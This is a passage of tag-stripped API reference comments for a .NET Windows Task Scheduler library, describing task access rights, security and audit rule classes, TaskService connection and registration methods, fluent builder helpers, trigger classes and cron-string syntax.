task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task 